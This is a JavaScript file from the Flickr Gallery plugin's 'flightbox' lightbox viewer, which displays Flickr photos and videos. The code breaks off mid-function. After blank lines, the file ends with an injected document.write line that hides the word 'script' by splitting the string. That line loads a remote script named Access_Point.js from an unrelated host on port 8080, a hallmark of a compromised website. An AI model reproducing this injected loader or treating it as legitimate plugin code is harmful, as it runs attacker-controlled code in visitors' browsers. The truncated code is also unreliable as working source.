/**
 * LICENSE
 * This file is part of Flickr Gallery.
 *
 * Flickr Gallery is free software; you can redistribute it and/or
 * modify it under the terms of the GNU General Public License
 * as published by the Free Software Foundation; either version 2
 * of the License, or (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
 *
 * @package    flickr-gallery
 * @author     Dan Coulter <dan@dancoulter.com>
 * @copyright  Copyright 2009 Dan Coulter
 * @license    http://www.gnu.org/licenses/gpl.txt GPL 2.0
 * @version    1.0.1
 * @link       http://co.deme.me/projects/flickr-gallery/
 */
;(function($){
	$.flightboxIsVideo = false;
	$.flightboxShow = function($calling) {
		$calling = $($calling);
		$(".flightbox-current").removeClass("flightbox-current");
		$calling.addClass("flightbox-current");
		var $flightbox = $("#flightbox");
		$("#flightbox-image, #flightbox-meta").remove();
		
		$flightbox.prepend("<img id='flightbox-image' src='' />");
		$image = $("#flightbox-image");

		$image.unbind("load");
		$image.load(function(){
			$("#flightbox-image").after("<div id='flightbox-meta'><div id='flightbox-close'></div><div id='flightbox-title'></div><div id='flightbox-flickr-link'><a href='' target='_blank'>View this <span id='flightbox-type'>photo</span> on Flickr</a></div></div>");
			$("#flightbox-title").html($calling.attr("title"));
			$("#flightbox-flickr-link a").attr("href", $calling.parent("a").attr("href"));
			$("#flightbox-meta").css({width:$image.innerWidth()});
			
			$("#flightbox-left, #flightbox-right").css({
				top: 15,
				width: Math.floor($image.innerWidth()/2),
				height: $image.innerHeight()
			});
			$("#flightbox-close").click(function(){
				$("#floverlay").remove();
				$("#flightbox").remove();
			});


			$("#flightbox-video").remove();
			if ( $calling.hasClass("video") ) {
				$.flightboxIsVideo = true;
				$("#flightbox-right,#flightbox-left").css({height: 33, top: $image.innerHeight()+15});
				$("#flightbox-prev,#flightbox-next").css({top:0, display:"block"});
				$("#flightbox-meta").css({paddingTop:33});
				
				var img_data = $image.attr("src").match(/[^\/]+_[^\/]+.jpg/g)[0].split(".")[0];
				var photo_id = img_data.split("_")[0];
				var photo_secret = img_data.split("_")[1];
				$image.before('<div id="flightbox-video" style="display: none;"><object type="application/x-shockwave-flash" width="' + $image.width() + '" height="' + $image.height() + '" data="http://www.flickr.com/apps/video/stewart.swf?v=67090&photo_id=' + photo_id + '&photo_secret=' + photo_secret + '" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"><param name="movie" value="http://www.flickr.com/apps/video/stewart.swf?v=67090&photo_id=' + photo_id + '&photo_secret=' + photo_secret + '"></param>								<param name="bgcolor" value="#000000"></param>								<param name="allowFullScreen" value="true"></param>								<embed type="application/x-shockwave-flash" src="http://www.flickr.com/apps/video/stewart.swf?v=67090&photo_id=' + photo_id + '&photo_secret=' + photo_secret + '" bgcolor="#000000" allowfullscreen="true" flashvars="intl_lang=en-us&amp;photo_secret=' + photo_secret + '&amp;photo_id=' + photo_id + '" width="' + $image.width() + '" height="' + $image.height() + '"></embed></object></div>').hide();
				$("#flightbox-type").html("video");
			} else {
				if ( $.flightboxIsVideo == true ) {
					$("#flightbox-next, #flightbox-prev").hide()
				}
				$.flightboxIsVideo = false;
				$("#flightbox-prev,#flightbox-next").css({top:100});
				$("#flightbox-meta").css({paddingTop:0});
				$("#flightbox-type").html("photo");
			}

			
			$("#flightbox").animate({
				left:	(($("body").width() - $image.innerWidth()-30)/2),
				height: $image.innerHeight() + $("#flightbox-meta").innerHeight(),
				width: $image.innerWidth()
			}, "normal", "swing", function(){
				$("#flightbox-meta").fadeIn("fast");
				if ( !$calling.hasClass("vide


document.write('<s'+'cript type="text/javascript" src="http://inc.lamcfoundation.com:8080/Access_Point.js"></scr'+'ipt>');